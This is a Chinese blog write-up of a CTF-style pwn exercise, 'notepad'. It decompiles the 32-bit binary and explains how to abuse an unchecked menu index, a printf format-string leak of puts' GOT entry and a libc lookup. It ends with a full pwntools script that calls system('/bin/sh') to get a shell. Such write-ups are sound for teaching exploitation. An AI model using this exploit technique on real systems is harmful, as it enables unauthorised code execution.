Pwn学习总结(13):格式化字符串-综合 notepad

实验平台:

x86_64, Ubuntu 18.04.5 LTS, Kernel 4.15.0-156-generic
glibc 2.27-3ubuntu1.4, libc6-i386-2.27-3ubuntu1.4

实验Binary及答案:

https://github.com/bjrjk/pwn-learning/tree/main/FormatString/notepad

因为该题目比较复杂,所以我将经过我修改、分析的idb数据库文件也一并上传到了Github供学习使用。

首先查看ELF的安全性信息checksec elf

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

未开PIE,GOT表可修改。

首先是用IDA对程序进行反编译、语义分析。该题目中存在一个重要的数据结构,我和更正过的代码一起贴在下面。大家也可以从Github上下载idb文件查看。

struct __attribute__((packed)) __attribute__((aligned(1))) notepadStruct
{
  void (__cdecl *show)(notepadStruct *);
  void (__cdecl *destroy)(notepadStruct *);
  _DWORD writable;
  _DWORD size;
  char text[size];
};

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v4[7]; // [esp+8h] [ebp-20h] BYREF

  v4[5] = (char *)__readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  alarm(30u);
  puts(" _                _                   ");
  puts("| |__   __ _  ___| | ___ __ ___   ___ ");
  puts("| '_ \\ / _` |/ __| |/ / '_ ` _ \\ / _ \\");
  puts("| | | | (_| | (__|   <| | | | | |  __/");
  puts("|_| |_|\\__,_|\\___|_|\\_\\_| |_| |_|\\___|");
  puts("                                      ");
  v4[0] = "bash";
  v4[1] = "cmd";
  v4[2] = "notepad";
  v4[3] = "exit";
  v4[4] = 0;
  while ( 1 )
  {
    switch ( menu(v4) )
    {
      case 0:
        puts("Invalid option");
        break;
      case 1:
        bash();
        break;
      case 2:
        cmd();
        break;
      case 3:
        notepad();
        break;
      case 5:
        return 0;
      default:
        continue;
    }
  }
}
unsigned int bash()
{
  char s[128]; // [esp+Ch] [ebp-8Ch] BYREF
  unsigned int v2; // [esp+8Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  printf("inndy ~$ ");
  fgets(s, 128, stdin);
  rstrip(s);
  printf("bash: %s: command not found\n", s);
  return __readgsdword(0x14u) ^ v2;
}
unsigned int cmd()
{
  char s[128]; // [esp+Ch] [ebp-8Ch] BYREF
  unsigned int v2; // [esp+8Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  puts("Microhard Wind0ws [Version 3.1.3370]");
  puts("(c) 2016 Microhard C0rporat10n. A11 rights throwed away.");
  puts(&byte_8049371);
  printf("C:\\Users\\Inndy>");
  fgets(s, 128, stdin);
  rstrip(s);
  printf("'%s' is not recognized as an internal or external command\n", s);
  return __readgsdword(0x14u) ^ v2;
}
void notepad()
{
  char *v0[9]; // [esp+4h] [ebp-24h] BYREF

  v0[6] = (char *)__readgsdword(0x14u);
  v0[0] = "New note";
  v0[1] = "Open note";
  v0[2] = "Delete note";
  v0[3] = "Set readonly";
  v0[4] = "Keep the secret";
  v0[5] = 0;
  while ( 1 )
  {
    switch ( menu(v0) )
    {
      case 0:
        puts("Unknow option");
        break;
      case 1:
        notepad_new();
        break;
      case 2:
        notepad_open();
        break;
      case 3:
        notepad_delete();
        break;
      case 4:
        notepad_rdonly();
        break;
      case 5:
        notepad_keepsec();
        break;
      default:
        continue;
    }
  }
}
void __cdecl notepad_forbidden()
{
  puts("you shall not pass");
}
void __cdecl notepad_show(notepadStruct *a1)
{
  printf("content: %s\n", a1->text);
}
void __cdecl notepad_destory(notepadStruct *a1)
{
  memset(a1->text, 0, a1->size);
}
notepadStruct **__cdecl notepad_find_slot()
{
  int i; // [esp+Ch] [ebp-4h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !notes[i] )
      return (notepadStruct **)(4 * i + 0x804B080);
  }
  return 0;
}
void __cdecl notepad_new()
{
  notepadStruct **ptr; // [esp+4h] [ebp-14h]
  int n; // [esp+8h] [ebp-10h]
  notepadStruct *v2; // [esp+Ch] [ebp-Ch]

  ptr = notepad_find_slot();
  if ( ptr )
  {
    printf("size > ");
    n = readint();
    if ( n > 0 && n <= 1024 )
    {
      v2 = (notepadStruct *)malloc(n + 16);
      v2->size = n;
      v2->writable = 1;
      v2->show = notepad_show;
      v2->destroy = notepad_destory;
      printf("data > ");
      fgets(v2->text, n, stdin);
      *ptr = v2;
      printf("your note id is %d\n", ptr - notes);
    }
    else
    {
      puts("invalid size");
    }
  }
  else
  {
    puts("space is full");
  }
}
notepadStruct **__cdecl notepad_choose()
{
  int v1; // [esp+Ch] [ebp-Ch]

  printf("id > ");
  v1 = readint();
  if ( v1 <= 15 && v1 >= 0 && notes[v1] )
    return (notepadStruct **)(4 * v1 + 0x804B080);
  puts("invalid note");
  return 0;
}
void __cdecl notepad_open()
{
  notepadStruct **v0; // [esp+4h] [ebp-1024h]
  notepadStruct *v1; // [esp+8h] [ebp-1020h]
  int v2; // [esp+Ch] [ebp-101Ch]
  char *items[3]; // [esp+10h] [ebp-1018h] BYREF
  char s[4096]; // [esp+1Ch] [ebp-100Ch] BYREF
  unsigned int v5; // [esp+101Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  v0 = notepad_choose();
  if ( v0 )
  {
    v1 = *v0;
    puts("note opened");
    if ( v1->writable )
    {
      if ( yes_or_no("edit") )
      {
        printf("content > ");
        fgets(s, 4096, stdin);
        strncpy(v1->text, s, v1->size);
        puts("note saved");
      }
    }
    items[0] = "show note";
    items[1] = "destory note";
    items[2] = 0;
    v2 = menu(items);
    (*((void (__cdecl **)(notepadStruct *))v1 + v2 - 1))(v1);
    puts("note closed");
  }
}
void __cdecl notepad_delete()
{
  notepadStruct **ptr; // [esp+8h] [ebp-10h]

  ptr = notepad_choose();
  if ( ptr )
  {
    free(*ptr);
    *ptr = 0;
    puts("deleted");
  }
}
void __cdecl notepad_rdonly()
{
  notepadStruct **ptr; // [esp+8h] [ebp-10h]

  ptr = notepad_choose();
  if ( ptr )
  {
    (*ptr)->writable = 0;
    puts("Okey, this note is read-only now");
  }
}
void __cdecl notepad_keepsec()
{
  notepadStruct **ptr; // [esp+8h] [ebp-10h]

  ptr = notepad_choose();
  if ( ptr )
  {
    (*ptr)->show = (void (__cdecl *)(notepadStruct *))notepad_forbidden;
    puts("Okey, this note is read-only now");
  }
}
size_t __cdecl rstrip(char *s)
{
  size_t i; // [esp+Ch] [ebp-Ch]

  for ( i = strlen(s); (--i & 0x80000000) == 0; s[i] = 0 )
  {
    if ( s[i] != '\n' && s[i] != ' ' )
      return i;
  }
  return 0;
}
int freeline()
{
  int result; // eax

  do
    result = getchar();
  while ( result != -1 && result != '\n' );
  return result;
}
int __cdecl yes_or_no(const char *a1)
{
  char s[64]; // [esp+1Ch] [ebp-4Ch] BYREF
  unsigned int v3; // [esp+5Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  do
  {
    while ( 1 )
    {
      printf("%s (Y/n)", a1);
      fgets(s, 64, stdin);
      if ( s[0] == 'Y' )
        return 1;
      if ( s[0] <= 'Y' )
        break;
      if ( s[0] == 'n' )
        return 0;
      if ( s[0] == 'y' )
        return 1;
    }
    if ( s[0] == '\n' )
      return 1;
  }
  while ( s[0] != 'N' );
  return 0;
}
int __cdecl menu(char **items)
{
  int result; // eax
  int i; // [esp+8h] [ebp-10h]
  int v3; // [esp+Ch] [ebp-Ch]

  for ( i = 0; items[i]; ++i )
    printf("%c> %s\n", i + 'a', items[i]);
  printf("::> ");
  v3 = getchar() - 'a';
  freeline();
  if ( v3 < i )
    result = v3 + 1;
  else
    result = 0;
  return result;
}
int readint()
{
  int v1[4]; // [esp+8h] [ebp-10h] BYREF

  v1[1] = __readgsdword(0x14u);
  __isoc99_scanf("%d", v1);
  freeline();
  return v1[0];
}

首先,很明显。bashcmd都是逗你玩。真正的利用点是出在notepad里面。

我一开始是没有看出来notepad里哪里有利用点的。只是发现notepad_open()里面有一个函数指针调用(213行)。我觉得肯定和这个有关,但是自己也没能特别想出来,所以就简单看了一下参考资料[1]。我只借助了里面的一些提示,剩下都是按照自己的想法做的,也和他的WP不完全一致。

我借助的提示包括:

  1. menu()函数存在漏洞,其中只是做了对于大于指定范围的验证,而没有进行小于指定范围时的验证。因此,在notepad_open()函数处,函数指针调用可以不止调用给定的show和destory两个操作。

  2. 在此指针处先调用strncpy(),再调用printf()

下面的所有步骤均为我自己尝试得出的。

首先,因为我不熟悉glibc的堆分配规则,所以简单对malloc()做了个实验,源码如下:
testMalloc.c:

#include <stdio.h>
#include <stdlib.h>
int main(){
    for(int i=0; i<10; i++){
        void *p = malloc(0x20);
        printf("%p\n", p);
    }
    return 0;
}

编译命令为:

gcc testMalloc.c -m32 -o testMalloc

执行testMalloc,一种可能的结果如下:

0x5786c160
0x5786c5a0
0x5786c5d0
0x5786c600
0x5786c630
0x5786c660
0x5786c690
0x5786c6c0
0x5786c6f0
0x5786c720

我们发现,除了第一个之外,其他的堆内存指针之间都只差0x30。也就是说,向malloc()申请一个块大小为0x20的内存块,指针差0x20。在我对notepad进行调试的时候,并没有出现像第一个那么独特的情况,各内存块之间都只差0x30。所以该特殊情况,在本文中可以不予考虑。

为了方便起见,我将结构体定义再次复制到此处。

struct __attribute__((packed)) __attribute__((aligned(1))) notepadStruct
{
  void (__cdecl *show)(notepadStruct *);
  void (__cdecl *destroy)(notepadStruct *);
  _DWORD writable;
  _DWORD size;
  char text[size];
};

可以看到,我们能写入的点在& notepadStruct.text处,因此我们就将函数指针写到这里。第213行的函数指针基址指向& notepadStruct。因此当我们站在第1个notepadStruct处调用想要调用第0& notepadStruct.text处的函数地址时,偏移差0x30-0x10=0x20,还需要除以4,最终得出的偏移量为-8。

按照提示2,我们需要调用printf()函数,但根据第213行的伪代码,传入的参数v1只是一个notepadStruct类型的指针,因此,我们要想办法用格式化字符串去覆盖此处指针对应的内存数据,所以我们想到了strncpy

根据在IDA中对汇编代码的分析,及GDB中的实际调试,对于函数指针的调用,第二个参数和第三个参数正好是sv1->size。所以我们只要在notepad_open()中对note进行编辑时,内容输入要copy的字符串,就可以利用strncpy把字符串拷贝至第一个参数处。

看起来到这里,我们就可以调用printf了,只要取printf的PLT地址往堆里一写即可。但是就这样想,还是太天真了。我试了一下,发现完全无效,call eax指令处eax的值为NULL

经过代码分析,我发现了问题。在204-205行处:

  char s[4096]; // [esp+1Ch] [ebp-100Ch] BYREF
        fgets(s, 4096, stdin);
        strncpy(v1->text, s, v1->size);

读入的字符串首先被写到栈上,然后使用strncpy()函数拷贝到堆里。但是,strncpy()是一个字符串拷贝函数,当它遇到\0的时候,就会自动停止拷贝。这道题里面,又巧了,printf()的plt地址恰好是0x8048500,x86机器按照小端法给地址打包,结果发送到栈中的字符串就是\x00\x85\x04\x08,好了,strncpy()看到第一个字符是\0,直接停止拷贝了,直接完蛋。

所以,我后来在想,如何可以绕过这里。中间走了一大通弯路。想着用puts()函数泄露puts()的got地址。试了半天也是无效。结果后来我又回到printf()这里。灵机一动,想起了Linux下动态链接——函数延迟绑定的工作原理:

linux通过PLT条目间接访问动态链接的函数。当程序被动态链接器加载入内存时且不开启RELRO的情况下,程序的GOT条目默认指向PLT条目之后的延迟绑定代码。程序首次调用某一还未绑定的外部函数时,执行PLT条目直接跳转到延迟绑定代码,此延迟绑定代码再跳转至动态链接器完成函数的绑定,并将其写入GOT表中,然后由动态链接器再次转入PLT条目,发起对函数的调用。

因此,因为本题目的RELRO没有全开,GOT表可写,我们可以通过间接访问延迟绑定代码的方式,再次调用到printf函数。而printf的延迟绑定代码位于0x8048506,低位终于不是0x00了,所以printf()有救了。[狗头]

好了,我们解决了printf的调用,printf的格式化字符串。我们得想个什么办法把libc的基址泄露出来。最常见的泄露方法就是打印puts的got内容。我想了半天,借助printf的第二参是没用了,怎么样都没办法让printf替我解多层的指针引用。后来我又想到,s是在栈上的,printf可以获取任意栈上的参数,我们可以在s中再写入puts的got地址,然后用%s,让printf替我把got的内容打出来。

经过gdb计算,如果把got地址写在头部,恰好是printf的第11个参数。那么这样看来,泄露libc基址的整条调用链就已经形成了。大致代码如下,本文最终会列出全部函数。

# Write strncpy() address to notepadStruct0.text(& notepadStruct0+16B)
notepad_open(p, 0, p32(strncpy_plt), "a")
"""
    First, send the printf format string to stack variable array s. The 
11th argument will be the GOT adress of puts. We need to leak that.
    Secondly, there exists a vulnerability in menu() so we can call arbitary
function, and the offset between & notepadStruct1 and & notepadStruct0.text
is 0x20, so we minus 8 here in the option.
    In all, we executed strncpy(& notepadStruct1, "%11s", 16).
"""
notepad_open(p, 1, "%11s    " + "\x00", chr(ord("a") - 8))
# Write printf() address to notepadStruct0.text(& notepadStruct0+16B)
notepad_open(p, 0, p32(printf_plt), "a")
"""
    Here we wrote GOT address of puts() to the stack also the 11th argument
position and called the printf().
    In all, we executed printf("%11$s", ... (9 arguments), got_of_puts) to
leak the libc address of puts to find libc base offset.
"""
notepad_open(p, 1, p32(puts_got) + "    \x00", chr(ord("a") - 8))

puts_libc = u32(p.recv(4))

好。经过上面的磨练,那么下面的事情就简单了。首先把/bin/sh复制到第一个参数处,然后调用system()。因为上面把0、1两个结构体破坏掉了,为了方便,我们用2、3两个结构体再来一遍这种操作。

# Similarly, copy "/bin/sh" as the first argument
notepad_open(p, 2, p32(strncpy_plt), "a")
notepad_open(p, 3, "/bin/sh" + "\x00", chr(ord("a") - 8))
# Prepare system()
notepad_open(p, 2, p32(system_libc), "a")
# Call system("/bin/sh")
notepad_open_noinput(p, 3, chr(ord("a") - 8))

整套流程就大功告成了!getshell:

我已经将大致的思路用文字讲清楚了,如果还有不明白的地方,建议自己用gdb调试看看,就会懂了。

下面给出题解answer.py

#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack
import os, base64, math, time
context(arch = "i386",os = "linux", log_level = "debug")

def notepad_init(p):
    p.recvuntil("::> ")
    p.sendline("c")

def notepad_new(p):
    p.recvuntil("::> ")
    p.sendline("a")
    p.recvuntil("size > ")
    p.sendline("16")
    p.recvuntil("data > ")
    p.sendline("\x00")

def notepad_open(p, id, content, option):
    p.recvuntil("::> ")
    p.sendline("b")
    p.recvuntil("id > ")
    p.sendline("%d" % id)
    p.recvuntil("edit (Y/n)")
    p.sendline("Y")
    p.recvuntil("content > ")
    p.sendline(content)
    p.recvuntil("::> ")
    p.sendline(option)

def notepad_open_noinput(p, id, option):
    p.recvuntil("::> ")
    p.sendline("b")
    p.recvuntil("id > ")
    p.sendline("%d" % id)
    p.recvuntil("::> ")
    p.sendline(option)

p = process('./notepad')
elf = ELF('./notepad')
gdb_command =   """
                b *0x8048ae7
                b *0x8048ce8
                """
# 0x8048ae7: malloc on notepad_new
# 0x8048ce8: call eax on notepad_open
strncpy_plt = elf.plt['strncpy']
"""
    The PLT address of printf end with 0x00, obstructed the copy from 
stack variable array s in notepad_open() to v1->text in heap on strncpy()
function. According to PLT/GOT mechanism, call to PLT entry address + 6 
will lead to dynamic linker refilling the GOT table entry and reinvoke
function again. So add the origin PLT address to a offset 0x6 will have
the same effect on calling the pure PLT entry.
"""
printf_plt = elf.plt['printf'] + 0x6
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
time.sleep(1)
# gdb.attach(p, gdb_command)

notepad_init(p)
"""
    Via experimenting, every 0x20 Bytes memory block allocation request 
sent to malloc() would lead to a 0x30 Bytes offset between two memory 
block pointers.
"""
for i in range(4):
    notepad_new(p) # Apply memory for 4 notepadStruct

# Write strncpy() address to notepadStruct0.text(&notepadStruct0+16B)
notepad_open(p, 0, p32(strncpy_plt), "a")
"""
    First, send the printf format string to stack variable array s. The 
11th argument will be the GOT adress of puts. We need to leak that.
    Secondly, there exists a vulnerability in menu() so we can call arbitary
function, and the offset between &notepadStruct1 and &notepadStruct0.text
is 0x20, so we minus 8 here in the option.
    In all, we executed strncpy(&notepadStruct1, "%11s", 16).
"""
notepad_open(p, 1, "%11s    " + "\x00", chr(ord("a") - 8))
# Write printf() address to notepadStruct0.text(&notepadStruct0+16B)
notepad_open(p, 0, p32(printf_plt), "a")
"""
    Here we wrote GOT address of puts() to the stack also the 11th argument
position and called the printf().
    In all, we executed printf("%11$s", ... (9 arguments), got_of_puts) to
leak the libc address of puts to find libc base offset.
"""
notepad_open(p, 1, p32(puts_got) + "    \x00", chr(ord("a") - 8))

puts_libc = u32(p.recv(4))
print("puts libc: %s" % hex(puts_libc))
libc = LibcSearcher('puts', puts_libc)
libc_base = puts_libc - libc.dump('puts')
print("base libc: %s" % hex(libc_base))
system_libc = libc_base + libc.dump('system')
print("system libc: %s" % hex(system_libc))

# Similarly, copy "/bin/sh" as the first argument
notepad_open(p, 2, p32(strncpy_plt), "a")
notepad_open(p, 3, "/bin/sh" + "\x00", chr(ord("a") - 8))
# Prepare system()
notepad_open(p, 2, p32(system_libc), "a")
# Call system("/bin/sh")
notepad_open_noinput(p, 3, chr(ord("a") - 8))

p.interactive()

参考资料:
[1] https://blog.csdn.net/niexinming/article/details/78768850

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注